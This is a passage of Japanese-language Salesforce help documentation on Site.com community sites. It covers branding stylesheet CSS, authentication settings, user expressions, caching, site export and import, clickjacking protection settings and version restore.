コミュニティの有効なタブに使用される色。{!Network.primaryColor}

primaryColor で使用されるフォントの色。{!Network.primaryComplementColor}

コミュニティのリストとテーブルの上境界線に使用さ
れる色。

{!Network.secondaryColor}

コミュニティの編集ページと詳細ページのセクション
ヘッダーの背景色。

{!Network.tertiaryColor}

tertiaryColor で使用されるフォントの色。{!Network.tertiaryComplementColor}
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対応するコミュニティブランド設定ページの要素Network 式

コミュニティのページの背景色。{!Network.quaternaryColor}

quaternaryColor で使用されるフォントの色。{!Network.quaternaryComplementColor}

関連トピック:

ブランド情報入りページの作成の概要
CSS スタイルシートでのコミュニティスタイルの作成

CommunityBranding スタイルシートの表示

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

CommunityBranding スタイルシートには、コミュニティのブランド化された
一連のスタイルが含まれています。
コミュニティのブランド設定オプション (ヘッダー、フッター、ページの色など)

は、[コミュニティ管理] ページの [管理] > [ブランド] セクションで設定します。
CommunityBrandingスタイルシートのコミュニティスタイルを表示するには、
Site.comの [概要] タブで、[スタイルシート] をクリックして CommunityBranding

スタイルシートをクリックします。コミュニティスタイルは、左側にリストさ
れます。スタイルシートのコードを表示するには、[スタイルシートコードを編
集] をクリックします。
合計 14 個のコミュニティクラススタイルがあります。次に、スタイルシートの
デフォルトのコンテンツを示します。

.brandZeronaryBgr {
background-color: {!Network.zeronaryColor} !important;
}
.brandZeronaryFgr {
color: {!Network.zeronaryComplementColor} !important;
}
.brandPrimaryBgr {
background-color: {!Network.primaryColor} !important;
}
.brandPrimaryFgr {
color: {!Network.primaryComplementColor} !important;
}
.brandPrimaryBrd2 {
border-color: {!Network.primaryComplementColor} !important;
}
.brandPrimaryFgrBrdTop {
border-top-color: {!Network.primaryComplementColor} !important;
}
.brandPrimaryBrd {
border-top-color: {!Network.primaryColor} !important;
}
.brandSecondaryBrd {
border-color: {!Network.secondaryColor} !important;
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}
.brandSecondaryBgr {
background-color: {!Network.secondaryColor} !important;
}
.brandTertiaryFgr {
color: {!Network.tertiaryComplementColor} !important;
}
.brandTertiaryBgr {
background-color: {!Network.tertiaryColor} !important;
color: {!Network.tertiaryComplementColor} !important;
background-image: none !important;
}
.brandTertiaryBrd {
border-top-color: {!Network.tertiaryColor} !important;
}
.brandQuaternaryFgr {
color: {!Network.quaternaryComplementColor} !important;
}
.brandQuaternaryBgr {
background-color: {!Network.quaternaryColor} !important;
}

関連トピック:

ブランド情報入りページの作成の概要
コミュニティテンプレートに基づいたブランド情報入りページの作成

Site.com 認証の概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

サイトデザインの一環として、サイト訪問者に公開するコンテンツと非公開に
するコンテンツを制御できます。初期状態の新しいサイトでは、フォルダやペー
ジなど、すべてのサイトリソースが公開に設定されています。デフォルトの設
定は、[サイトの設定] の下にある [認証] ビューで変更できます。
次のグローバルサイト認証オプションがあります。
• [認証なし] (デフォルト) — すべてのリソースは公開に設定されます。
• [認証が必要] — すべてのリソースは非公開に設定されます。
• [カスタム] — すべてのリソースはデフォルトで公開に設定されますが、非公

開に変更できます。
[認証なし] および [認証が必要] オプションにより、すべてのサイトの公開または
非公開をすばやく行うことができます。ただし、個々のページ、フォルダ、その他のリソースへのアクセスを
制御する場合、[カスタム] オプションを使用します。[カスタム] を選択すると、サイト全体のすべてのリソー
スで、[アクション] メニュー [認証が必要]チェックボックスが有効になります。サイト、フォルダ、ペー
ジ、個々のリソースレベルで認証を定義できます。認証対象としてマークした項目には、錠アイコン が表
示されます。リソース (ページなど) が非公開としてマークされている場合、Salesforce にログインしていない
ユーザがリソースにアクセスしようとすると、ログインするように要求されます。
リソースはその非公開設定をフォルダから継承できます。たとえば、リソース (サイトのフォルダなど) が認証
対象としてマークされると、そのフォルダに配置されるリソースは、フォルダの認証設定を継承して非公開に
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なります。そのリソースを公開フォルダにドラッグすると、再度公開になります。ただし、[アクション] メ
ニューを使用してリソースを明示的に非公開としてマークしている場合、公開フォルダにドラッグしても非公
開のままです。これは、リソースレベルの非公開設定が優先されるためです。
[カスタム] オプションを使用する場合、[認証] ビューに認証テーブルが表示されます。ここでは、非公開とし
てマークされた非公開リソース/項目を管理できます。リソースの認証を削除するには、認証テーブルから削
除するか、項目自体の [認証が必要] ボックスをオフにします。

サイトの認証の設定
カスタム認証の設定
Site.com 認証の削除

関連トピック:

サイトの認証の設定
カスタム認証の設定
Site.com 認証の削除
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サイトの認証の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

認証を管理する
• サイトの管理ユーザ

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

サイトデザインの一環として、サイト訪問者に公開するコンテンツと非公開に
するコンテンツを制御できます。初期状態の新しいサイトでは、フォルダやペー
ジなど、すべてのサイトリソースが公開に設定されています。デフォルトの設
定は、[サイトの設定] の下にある [認証] ビューで変更できます。
次のグローバルサイト認証オプションがあります。
• [認証なし] (デフォルト) — すべてのリソースは公開に設定されます。
• [認証が必要] — すべてのリソースは非公開に設定されます。
• [カスタム] — すべてのリソースはデフォルトで公開に設定されますが、非公

開に変更できます。
1. サイトを開いて編集します。
2. [サイトの設定] > [認証] をクリックします。
3. 認証オプションを選択します。

関連トピック:

Site.com 認証の概要
カスタム認証の設定
Site.com 認証の削除
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カスタム認証の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

認証を管理する
• サイトの管理ユーザ

カスタム認証を選択すると、サイトへのアクセス制御の柔軟性が大幅に向上し
ます。フォルダやページなど、最上位リソースへのアクセス権を持つユーザを
制御できるだけでなく、個々のリソースレベルでもアクセス権を設定できます。
フォルダレベルでカスタム認証を使用すると、大量のリソースを個別に設定す
る必要なく非公開に設定できます。たとえば、有料ユーザ向けに定期的にセー
ルを実施しているとします。すべてのセールページを認証対象としてマークし
た特殊なフォルダにドラッグすれば、フォルダの設定がすぐに継承されます。
ユーザがそれらのページにアクセスするにはログインが必要です。さらに、い
ずれかのセールページを一般に公開すると決定した場合は、そのページを公開
フォルダか [すべてのサイトのコンテンツ] エリアのルートにドラッグするだけ
で公開に戻すことができます。
1. サイトを開いて編集します。
2. [サイトの設定] > [認証] をクリックします。
3. [カスタム] を選択します。
4. [すべてのサイトのコンテンツ]をクリックします。
5. 非公開ページを保持するフォルダを作成します (まだ存在しない場合)。
6. フォルダの [アクション] メニューから、[認証が必要] をオンにします。フォルダに錠 が表示されま

す。これで非公開になりました。
7. 非公開にするページをフォルダにドラッグします。ページにも錠 が表示されます。

例: 別の例を見てみましょう。いずれの場所でも非公開にしておきたいページがある場合、[アクション]

メニューを使用してその認証を設定できます。個々のリソースレベルで認証を設定すると、非公開に設
定されていないフォルダにドラッグしても非公開のままです。つまり、非公開としてマークされたリソー
スは、[アクション] メニューで [認証が必要] をオフにするまで常に非公開になります。

[認証] ページを確認すると、非公開としてマークされたすべてのフォルダとリソースが認証テーブルにリスト
されています。このテーブルでフォルダやリソースを表示および削除できます。

関連トピック:

Site.com 認証の概要
サイトの認証の設定
Site.com 認証の削除
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Site.com 認証の削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

認証を管理する
• サイトの管理ユーザ

リソースの認証を削除するには、[サイトの設定] の認証テーブルから削除する
か、 メニューの [認証が必要] をオフにします。
1. サイトを開いて編集します。
2. [サイトの設定] > [認証] をクリックします。
3. 認証テーブルから、削除する項目の横にある [削除]をクリックします。また

は、[すべてのサイトのコンテンツ] ビューに移動します。リソースを選択し
ます。[アクション] メニューから、[認証が必要] をオフします。

例:  [アクション] メニューを使用してリソースが明示的に非公開としてマー
クされている場合、[アクション] メニューを使用してリソースから認証を
削除する必要があります。たとえば、非公開としてマークされているペー
ジを公開フォルダにドラッグしても非公開のままです。同様に、すでに非
公開になっているフォルダにページをドラッグしてそのフォルダの認証を
削除してもページは非公開のままです。

関連トピック:

Site.com 認証の概要
サイトの認証の設定
カスタム認証の設定
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現在のコミュニティユーザ情報の表示

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.com デザイナがコミュニティサイトの認証ページを作成する場合、
CurrentUser名前空間式にアクセスすることで現在のユーザ情報を表示できま
す。
1. 現在のコミュニティユーザ情報を表示するページを開きます。
2. [ページ要素] ペインから、[コンテンツブロック]または [カスタムコード]ペー

ジ要素をそのページにドラッグします。
3. 「{!CurrentUser.」と入力し、表示する値を入力します。

たとえば、{!CurrentUser.firstName} です。
現在のユーザ情報の表示に使用できる式のリストを確認します。

4. 必要なテキストを追加します。
たとえば、Welcome back {!CurrentUser.firstName}! です。

5. 現在の場所が [コンテンツブロック] の場合、[保存] をクリックします。現在
の場所が [カスタムコード] 要素の場合、[保存 & 閉じる] をクリックします。

メモ: 認証されていないユーザが CurrentUser式を含むページを表示して
も、現在のユーザ情報は表示されません。たとえば、認証されていないユー
ザが上記の例を含むページを表示すると、「お帰りなさい」というお知ら
せメッセージが表示されます。

現在のユーザ情報の表示に使用できる式

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

これらの CurrentUser 名前空間式を使用して、Site.com コミュニティページに
認証されたユーザ情報を表示します。

表示CurrentUser 式

ユーザ詳細ページに表示されるユーザ
の姓と名を合わせたもの。

{!CurrentUser.name}

ユーザ編集ページに表示されるユーザ
の名。

{!CurrentUser.firstName}

ユーザ編集ページに表示されるユーザ
の姓。

{!CurrentUser.lastName}
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表示CurrentUser 式

ユーザのログインを定義する管理項目。{!CurrentUser.userName}

ユーザのメールアドレス。{!CurrentUser.email}

コミュニティのユーザの識別に使用される名前。{!CurrentUser.communityNickname}

Site.com ページの URL の決定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.com ページの作成後、ページの URL を決定すると、次のことができます。
• 公開ページに直接アクセスできる URL をユーザに提供する。
• 他のページ (Force.comサイトやVisualforceページなど) からページへのリンクを

作成する。
• Force.com サイトの URL リダイレクトを使用して、このページをコミュニティ

のホームページにする。
• 非公開ページをコミュニティの Web タブに追加する。
1. ページの正しい URL を決定する手順は、次のとおりです。

• [コミュニティを作成] ウィザードから、[カスタマイズ] をクリックしま
す。

• [コミュニティを作成] ウィザードを離れて移動した場合は、[カスタマイ
ズ] > [コミュニティ] > [すべてのコミュニティ] をクリックし、コミュニ
ティ名の横にある [管理] ボタンをクリックします。

2. [管理設定] をクリックします。
3. ページに表示された URL をコピーして、テキストエディタに貼り付けます。
4. 次の場所を指し示す URL を作成する手順は、次のとおりです。

• Site.com サイトのホームページ。/s/ を URL に追加します。たとえば、
https://mydomain.force.com/mycommunity/s/ です。

• 特定の Site.com ページ。/s/<page_name> を追加します。ここで、
<page_name> は、Site.com ページの名前です。たとえば、
https://mydomain.force.com/mycommunity/s/promotion です。

URL は大文字と小文字が区別され、「s」は小文字にする必要があります。

関連トピック:

コミュニティタブへの認証された Site.com ページの追加
Force.com サイトの URL リダイレクト
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コミュニティタブへの認証された Site.com ページの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

非公開Site.comページを作成したら、ページをコミュニティのタブに追加できま
す。
この場合、Site.com ページを指し示す Web タブを作成する必要があります。
1. ページの [プロパティ] ペインで、[Salesforce ヘッダーを表示]を選択しま

す。
このオプションを選択することで、コミュニティにタブが表示されます。

2. コミュニティのタブに表示されるタブ名を入力します。
作成する Web タブと同じ名前でなければなりません。

3. ページの正しい URL を決定します。
URL は必ず https://mydomain.force.com/mycommunity/s/<pagename>

の形式にします。この pagename は、ページの名前と一致させます。
4. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択し

ます。
5. Web タブで、[新規] をクリックし、ページのプロパティの [タブ名] 項目に表

示されるタブの名前を入力します。
6. ステップ 3 の画面で、作成した URL を [ボタンまたはリンクの URL] テキスト

ボックスに貼り付けます。
7. [コミュニティを作成] ウィザードに戻り、新しいタブをコミュニティに追加

します。
コミュニティの非公開ページをプレビューするには、Site.comサイトを公開する
必要があります。

メモ: Sandbox からサイトを公開することはできません。

関連トピック:

Salesforce Communities の概要
Web タブの作成
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コミュニティの Site.com ページへの Chatter ニュースフィードまたはグループフィードの追
加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Chatterニュースフィードを使用して、Chatterフィードをサイトページに表示した
り、Chatter グループフィードを使用して、特定のグループのフィードを表示し
たりします。
1. [ページ要素] ペインの [ウィジェット] セクションから [ニュースフィード] ま

たは [グループフィード] をページにドラッグします。
ウィジェットをページに追加すると、ウィジェットのコピーまたはインスタ
ンスが作成されます。ウィジェットの内容は編集できませんが、プロパティ
は編集できます。

2. グループフィードを追加する場合、[プロパティ] ペインにグループ ID を入力
します。
このグループ ID によって、どのグループフィードがページに表示されるかが
決まります。複数のグループのフィードを表示する場合は、1 つのページに
複数のグループフィードを含めることができます。

3. ページをプレビューしてフィードをテストするか、[ライブモード] を使用し
て、さまざまなモバイルデバイスでフィードがどのように表示されるかを確
認します。

コミュニティSite.comサイトでニュースフィードまたはグループフィードを使用
する場合は、次の制限を考慮してください。
• Chatterのニュースフィードとグループフィードは、ユーザがコミュニティに

ログインしている場合にのみ表示されます。匿名プレビューモードにしてい
る場合や、ゲストユーザには表示されません。

• Chatter のニュースフィードとグループフィードでは、幅が 700px 未満のペー
ジは適切に表示されない可能性があります。すべての内容を表示するため
に、ページの幅は最低 700px にすることをお勧めします。また、白い背景を
使用することをお勧めします。

• Chatterのニュースフィードとグループフィードは、一部のページブランド設
定要素のみを継承します。
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コミュニティの Site.com における HTML ページキャッシュのパフォーマンスの向上

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

HTML キャッシュを使用すると、生成されたページマークアップを再読み込みす
る頻度を制御することで、コミュニティの Site.com サイトのパフォーマンスと
ページ表示を向上することができます。
100 名のユーザが同時にページを訪問したとします。キャッシュを使用しない場
合、同じマークアップに対する 100 件の要求により、パフォーマンスが大幅に低
下します。ただし、キャッシュが有効になっている場合は、ページマークアッ
プの要求と取得が一度のみ (そのページに最初に訪問したユーザの要求に対して
のみ) で済みます。設定された期間内のデータに対するその後のページ要求はす
べてキャッシュから返されます。指定期間が過ぎると、キャッシュが更新され
ます。

メモ: キャッシュ時間は、ゲストユーザがアクセスするコミュニティペー
ジにのみ適用されます。ユーザがログインしてページにアクセスする場合
は、キャッシュが無効になります。

1. Site.com Studio でページを開きます。
2. [プロパティ] タブの [キャッシュ] セクションにある [キャッシュ期間 (分)]

項目で、ページをキャッシュする時間の長さを指定します。
デフォルトでは、ページのキャッシュ時間は 30 分に設定されます。
キャッシュを無効にするには、ページのキャッシュ時間を 0 に設定します。
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Site.com サイトの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを作成また
はインポートする
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

Site.com を使用するには、まず新しい空のサイトを作成します。
1. Site.comアプリケーションの [Site.com]タブで、[新規]をクリックします。また

は、Site.com Studio で、サイトのドロップダウンメニューの [新規サイトを作
成] をクリックします。

2. [空白の Web サイトを作成] をクリックします。
3. サイト名を入力します。
4. [作成] をクリックします。新しい Web サイトは Site.com Studio で開きます。そ

こで、ページテンプレートとサイトのページを作成し、機能を追加できま
す。

メモ: Site.com のコミュニティサイトを作成、削除、複製することはできま
せん。

Site.com サイトの削除
Site.com サイトの複製
Site.com サイトのエクスポート
Site.com サイトのインポート
サイトのプロパティの設定
クリックジャック保護の有効化
クリックジャックは、ユーザをだまして安全なものをクリックしていると思わせて、ボタンまたはリンク
などをクリックさせる攻撃の一種です。それどころか、このボタンまたはリンクによって悪意のあるアク
ションがサイトで実行され、データ侵入、認証されていないメール、ログイン情報の変更、その他のサイ
ト固有のアクションが引き起こされます。
Site.com バージョン設定の概要
サイトは、公開するたびにバージョンとして追跡されます。サイトを以前の公開済みのバージョンの 1 つ
に復元できます。復元時には個別のコンポーネントを選択できません。サイト全体を復元する必要があり
ます。
Site.com での URL リダイレクトの作成
サイトのページを移動したり再整理したりすると、検索エンジンによって新しいページの場所が検出され
にくくなる場合があります。これを回避するために、URL リダイレクトを設定して、サイトのコンテンツが
移動したことをユーザおよび検索エンジンに通知します。
Site.com への外部 Web サイトのインポート
Site.com Studioでは、既存の Web サイトをインポートして、Site.comサイトとして自動的に再作成できます。
これにより、既存の HTML ページを再コーディングする時間を節約できます。
サイトのコピーと上書き
現在の本番稼動の Site.com サイトまたは Site.com コミュニティサイトをコピーし、別のサイトに置き換える
場合があります。
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サイトをリリースするためのメタデータ API の使用
ユーザは、Sandboxから本番環境にサイトを移行できます。メタデータ APIを使用して、Salesforce Communities

サイトおよび Site.com サイトにリリース可能なパッケージを作成できます。

関連トピック:

Site.com のページテンプレートの作成
Site.com ページの作成
デザイナまたはサイト管理者としての Site.com ページの編集

Site.com サイトの削除

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化
AND

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

公開されているサイトは削除できません。サイトが公開されている場合、サイ
トを削除するには、まず、そのサイトを非公開にする必要があります。「サイ
トをオフラインにする」 (ページ 6199)を参照してください。
1. Site.comアプリケーションの [Site.com]タブで、[ ] > [削除]をクリックします。
2. [OK] をクリックします。

メモ: Site.com のコミュニティサイトを作成、削除、複製することはできま
せん。

関連トピック:

Site.com サイトのエクスポート
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Site.com サイトの複製

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化
AND

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

サイトのコピーを作成する手順は、次のとおりです。
1. Site.comアプリケーションの [Site.com]タブで、[ ] > [複製]をクリックします。

または、Site.com Studio の [概要] タブで [ ] > [このサイトを複製] をク
リックします。

2. サイトの名前を入力します。
3. [作成] をクリックします。

メモ:

• データサービスを使用するサイトのコピーを作成する場合は、新しいサ
イトのゲストユーザプロファイルでデータアクセス権限を設定する必要
があります。

• Site.com のコミュニティサイトを作成、削除、複製することはできませ
ん。

関連トピック:

Site.com サイトの作成
Site.com サイトのエクスポート
Site.com サイトのインポート
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Site.com サイトのエクスポート

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化
AND

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comからハードドライブにサイトをエクスポートできます。サイトは、他の
Salesforce組織にインポートできる拡張子が .site のパッケージ化された形式でエク
スポートされます。インポートできるサイトの最大サイズは 2 GB です。
1. Site.com アプリケーションの Site.com タブで、サイトを選択して [ ] > [エクス

ポート]をクリックします。または、Site.com Studioの [概要] タブで [ ] >

[このサイトをエクスポート] をクリックします。
2. サイトのサイズに応じた操作を次に示します。

• 100 MB 未満の場合、ハードドライブ上でエクスポートされた .site ファイル
を保存する場所を選択して、[保存] をクリックします。

• 100 MB を超える場合、エクスポートプロセスが完了すると、メールで通
知されます。エクスポートされた .site ファイルをダウンロードするには、
そのメールにあるリンクをクリックします。

メモ:

• サイトのエクスポートを行っても、現在の組織からそのサイトは削除さ
れません。

関連トピック:

Site.com サイトの作成
Site.com サイトのインポート
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Site.com サイトのインポート

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを作成また
はインポートする
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

エクスポートしたSite.comサイトを組織にインポートできます。インポートでき
るサイトの最大サイズは 2 GB です。サイトをインポートすると、そのサイトの
サイト管理者ロールが付与されます。
1. Site.comアプリケーションの [Site.com]タブで、[新規]をクリックします。また

は、Site.com Studio で、サイトのドロップダウンメニューの [新規サイトを作
成] をクリックします。

2. [サイトまたはテンプレートをインポート] を選択します。
3. サイト名を入力します。
4. ハードドライブ上でエクスポートしたサイトを検索するには、[参照]をクリッ

クします。エクスポートされたサイトの拡張子は .site です。
5. [作成] をクリックします。

メモ:

• データサービスを使用するサイトをインポートする場合は、インポート
したサイトのゲストユーザプロファイルでデータアクセス権限を設定す
る必要があります。さらに、データの繰り返し、データテーブル、デー
タ関数、またはフォームを再設定する必要がある場合があります。

• Site.com のコミュニティサイトを作成、削除、複製することはできませ
ん。

関連トピック:

Site.com サイトの作成
Site.com サイトのエクスポート
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サイトのプロパティの設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ホームページ、サイト名、エラーページなどのサイトのプロパティを設定し、
稼働させる前に他のユーザがレビューするための匿名のプレビュー URL を作成
します。URL は常に有効 (ユーザが無効にしない限り) であり、進行中の最新の作
業を表示します。このプレビューは送信先のユーザにのみ表示されます。検索
エンジンでは見つかりません。
1. [概要] タブで [サイトの設定] をクリックします。
2. [編集] をクリックします。
3. [サイトの設定] ビューでは、次の操作が可能です。

• [サイト名] 項目の名前を変更し、サイトの名前を変更する。
• サイトの [API 参照名]を参照する。この参照のみの項目は、[サイト名]

と異なる場合があります。[API 参照名] は、メタデータ API で使用され
ます。

• [匿名プレビューを有効化]を選択し、稼働させる前に他のユーザがレビュー
するための URL を作成する ([プレビュー]メニューに表示される [匿名プレ
ビューを表示] オプションをクリックすると、プレビュー URL にアクセス
できます。この URL をコピーして他のユーザに送信し、変更をレビューお
よびテストできます)。[匿名プレビューを有効化] は、[概要] タブの [プレ
ビュー] メニューからも利用できます。

• サイトのゲストユーザプロファイルにアクセスする。
• クリックジャック保護レベルを設定する。
• [ホームページ] ドロップダウンリストで、Web サイトのホームページを選

択する。
• Site.com コミュニティサイトのみ:

– [ログインページ] ドロップダウンリストで、Site.com コミュニティサイトのログインページを選択す
る。

– [登録ページ] ドロップダウンリストから、まだアカウントのない Site.com コミュニティサイトユーザ
用に設定したページを選択する。

– Site.com を使用してコミュニティに設定した [パスワードを忘れた場合] ページを選択する。
• [404 ページ] ドロップダウンリストで、ページが見つからない場合に表示する、ユーザが理解しやすい

エラーページを選択する。リンク破損などが発生した場合にサイト訪問者が理解しやすいエラーページ
を作成することをお勧めします。

4. [保存] をクリックします。

メモ:

• [サイトの設定] でSite.comコミュニティサイトに指定するホームページ、404 ページ、ログインページ、
およびセルフ登録ページでは、Site.com コミュニティサイトのデフォルトページを設定します。[管理
ページ] および [管理ログイン & 登録] の [コミュニティ管理] で別の URL を指定しない限り、これらのデ
フォルト URL が使用されます。コミュニティのエラーページは、Force.com の [設定] の [エラーページ]

で指定します。
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• Site.comコミュニティサイトが無効な場合、ユーザは、[コミュニティ管理]の [ページ] で定義した [サー
ビスは利用できません] ページにリダイレクトされます。

関連トピック:

Site.com サイトの作成
サイト管理者またはデザイナとしての Site.com Studio の使用
クリックジャック保護の有効化

クリックジャック保護の有効化

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

クリックジャックは、ユーザをだまして安全なものをクリックしていると思わ
せて、ボタンまたはリンクなどをクリックさせる攻撃の一種です。それどころ
か、このボタンまたはリンクによって悪意のあるアクションがサイトで実行さ
れ、データ侵入、認証されていないメール、ログイン情報の変更、その他のサ
イト固有のアクションが引き起こされます。
サイトのページを読み込む非表示の iframe には、非表示の iframe の下に表示され
たボタンまたはリンクをユーザがクリックするように誘導する無関係のページ
が故意に配置される可能性があります。クリックジャック保護を使用すると、
ブラウザでサイトのページ全体でフレームまたは iframe を許可するかどうかを設
定できます。Site.com のデフォルトのクリックジャックレベルは [公開元が同じ
ページでのみフレーム化を許可] に設定されています。
サイトのクリックジャック保護は、次のレベルのいずれかに設定できます。
• すべてのページでフレーム化を許可 (保護なし)

• 公開元が同じページでのみフレーム化を許可 (推奨)

• すべてのページでフレーム化を許可しない (最大保護)

メモ: 公開元が同じページのフレーム化によって、同じドメイン名とプロ
トコルセキュリティを持つページによるサイトのページのフレーム化が可
能になります。

1. [概要] タブで [サイトの設定] をクリックします。
2. [編集] をクリックします。
3. 必要なクリックジャック保護のレベルを選択します。

メモ: Salesforce Communities には、クリックジャック保護に 2 つの部分が
含まれます。1 つは Force.com Communitiesサイト用で、Force.comサイト詳
細ページから設定します。もう 1 つは Site.com Communities サイト用で、
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Site.com 設定ページから設定します。両方に同じ値を設定することをお勧めします。

関連トピック:

サイトのプロパティの設定
Force.com サイトの作成と編集

Site.com バージョン設定の概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

サイトは、公開するたびにバージョンとして追跡されます。サイトを以前の公
開済みのバージョンの 1 つに復元できます。復元時には個別のコンポーネント
を選択できません。サイト全体を復元する必要があります。
Site.com Studio で作業しているときは、サイトの未公開バージョンで作業してい
ることになります。これは作業コピーです。バージョンを復元するとき、ライ
ブサイトではなく、作業コピーが上書きされます。ライブサイトで変更を確認
するには、復元したバージョンを公開する必要があります。
Site.com Studioでは、サイトバージョンは [概要] タブの [変更履歴] ビューに表示さ
れます。バージョンを復元する場合、サイトのすべての項目が戻されるわけで
はありません。ユーザロールなどの一部の項目は、以前のバージョンから復元
しても変更されません。次の項目を除き、サイト内のすべての項目がバージョ
ン管理されます。
• サイト名
• 匿名プレビュー設定
• ゲストユーザプロファイル設定
• クリックジャック保護レベル
• ドメインおよびパスのプレフィックス
• ユーザロール設定

以前のサイトバージョンへの復元
Site.com Studio の [変更履歴] リストでは、サイトのすべての公開済みバージョンが追跡されます。以前に公
開した任意のバージョンを選択して、それを復元できます。サイトの一部ではなく、サイト全体のみが復
元可能です。

関連トピック:

以前のサイトバージョンへの復元
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以前のサイトバージョンへの復元

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.com Studio の [変更履歴] リストでは、サイトのすべての公開済みバージョン
が追跡されます。以前に公開した任意のバージョンを選択して、それを復元で
きます。サイトの一部ではなく、サイト全体のみが復元可能です。
Site.com Studio で作業しているときは、サイトの未公開バージョンで作業してい
